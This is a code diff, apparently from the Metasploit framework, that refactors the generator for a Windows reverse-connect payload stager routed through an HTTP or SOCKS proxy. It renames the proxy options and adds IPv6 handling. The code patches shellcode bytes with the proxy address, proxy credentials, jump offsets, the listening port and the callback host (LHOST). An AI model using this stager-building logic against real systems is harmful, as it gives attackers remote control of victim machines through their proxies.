@@ -82,70 +82,74 @@ def generate
8282 p [ i , u . length ] = u
8383
8484 # patch proxy info
85- proxyhost = datastore [ 'PROXYHOST' ] . to_s
86- proxyport = datastore [ 'PROXYPORT' ] . to_s || "8080"
85+ proxyhost = datastore [ 'PayloadProxyHost' ] . to_s
86+ proxyport = datastore [ 'PayloadProxyPort' ] . to_s || "8080"
87+
88+ if Rex ::Socket . is_ipv6? ( proxyhost )
89+ proxyhost = "[#{ proxyhost } ]"
90+ end
91+
8792 proxyinfo = proxyhost + ":" + proxyport
8893 if proxyport == "80"
8994 proxyinfo = proxyhost
9095 end
91- if datastore [ 'PROXY_TYPE ' ] . to_s == 'HTTP'
96+ if datastore [ 'PayloadProxyType ' ] . to_s == 'HTTP'
9297 proxyinfo = 'http://' + proxyinfo
9398 else #socks
9499 proxyinfo = 'socks=' + proxyinfo
95100 end
101+
96102 proxyloc = p . index ( "PROXYHOST:PORT" )
97103 p = p . gsub ( "PROXYHOST:PORT" , proxyinfo )
98104
99- # patch the call
100- calloffset = proxyinfo . length
101- calloffset += 1
105+ # Patch the call
106+ calloffset = proxyinfo . length + 1
102107 p [ proxyloc -4 ] = [ calloffset ] . pack ( 'V' ) [ 0 ]
103108
104- #Optional authentification
105- if ( datastore [ 'PROXY_USERNAME ' ] . nil? or datastore [ 'PROXY_USERNAME' ] . empty? ) or
106- ( datastore [ 'PROXY_PASSWORD ' ] . nil? or datastore [ 'PROXY_PASSWORD' ] . empty? ) or
107- datastore [ 'PROXY_TYPE' ] == 'SOCKS'
109+ # Authentication credentials have not been specified
110+ if datastore [ 'PayloadProxyUser ' ] . to_s == '' or
111+ datastore [ 'PayloadProxyPass ' ] . to_s == '' or
112+ datastore [ 'PayloadProxyType' ] . to_s == 'SOCKS'
108113
109114 jmp_offset = p . index ( "PROXY_AUTH_STOP" ) + 15 - p . index ( "PROXY_AUTH_START" )
110- #remove auth code
115+
116+ # Remove the authentication code
111117 p = p . gsub ( /PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i , "" )
112118 else
113- username_size_diff = 14 - datastore [ 'PROXY_USERNAME' ] . length
114- password_size_diff = 14 - datastore [ 'PROXY_PASSWORD' ] . length
115- jmp_offset = 16 + #PROXY_AUTH_START length
116- 15 + #PROXY_AUTH_STOP length
117- username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
118- password_size_diff # same with PROXY_PASSWORD
119- #patch call offset
119+ username_size_diff = 14 - datastore [ 'PayloadProxyUser' ] . to_s . length
120+ password_size_diff = 14 - datastore [ 'PayloadProxyPass' ] . to_s . length
121+ jmp_offset =
122+ 16 + # PROXY_AUTH_START length
123+ 15 + # PROXY_AUTH_STOP length
124+ username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
125+ password_size_diff # Same with PayloadProxyPass
126+
127+ # Patch call offset
120128 username_loc = p . index ( "PROXY_USERNAME" )
121129 p [ username_loc - 4 , 4 ] = [ 15 - username_size_diff ] . pack ( "V" )
122130 password_loc = p . index ( "PROXY_PASSWORD" )
123131 p [ password_loc - 4 , 4 ] = [ 15 - password_size_diff ] . pack ( "V" )
124- #remove markers & change login/pwd
132+
133+ # Remove markers & change login/password
125134 p = p . gsub ( "PROXY_AUTH_START" , "" )
126135 p = p . gsub ( "PROXY_AUTH_STOP" , "" )
127- p = p . gsub ( "PROXY_USERNAME" , datastore [ 'PROXY_USERNAME' ] )
128- p = p . gsub ( "PROXY_PASSWORD" , datastore [ 'PROXY_PASSWORD' ] )
136+ p = p . gsub ( "PROXY_USERNAME" , datastore [ 'PayloadProxyUser' ] . to_s )
137+ p = p . gsub ( "PROXY_PASSWORD" , datastore [ 'PayloadProxyPass' ] . to_s )
129138 end
130- #patch jmp dbl_get_server_host
139+
140+ # Patch jmp dbl_get_server_host
131141 jmphost_loc = p . index ( "\x68 \x3a \x56 \x79 \xa7 \xff \xd5 " ) + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
132142 p [ jmphost_loc , 4 ] = [ p [ jmphost_loc , 4 ] . unpack ( "V" ) [ 0 ] - jmp_offset ] . pack ( "V" )
133- #patch call Internetopen
134- p [ p . length - 4 , 4 ] = [ p [ p . length - 4 , 4 ] . unpack ( "V" ) [ 0 ] + jmp_offset ] . pack ( "V" )
135143
136- # patch the LPORT
137- lport = datastore [ 'LPORT' ]
144+ # Patch call Internetopen
145+ p [ p . length - 4 , 4 ] = [ p [ p . length - 4 , 4 ] . unpack ( "V" ) [ 0 ] + jmp_offset ] . pack ( "V" )
138146
147+ # Patch the LPORT
139148 lportloc = p . index ( "\x68 \x5c \x11 \x00 \x00 " ) # PUSH DWORD 4444
140- p [ lportloc +1 ] = [ lport . to_i ] . pack ( 'V' ) [ 0 ]
141- p [ lportloc +2 ] = [ lport . to_i ] . pack ( 'V' ) [ 1 ]
142- p [ lportloc +3 ] = [ lport . to_i ] . pack ( 'V' ) [ 2 ]
143- p [ lportloc +4 ] = [ lport . to_i ] . pack ( 'V' ) [ 3 ]
144-
145- # append LHOST and return payload
149+ p [ lportloc +1 , 4 ] = [ datastore [ 'LPORT' ] . to_i ] . pack ( 'V' )
146150
147- lhost = datastore [ ' LHOST' ]
148- p + lhost . to_s + "\x00 "
151+ # Append LHOST and return payload
152+ p + datastore [ 'LHOST' ] . to_s + "\x00 "
149153
150154 end
151155
0 commit comments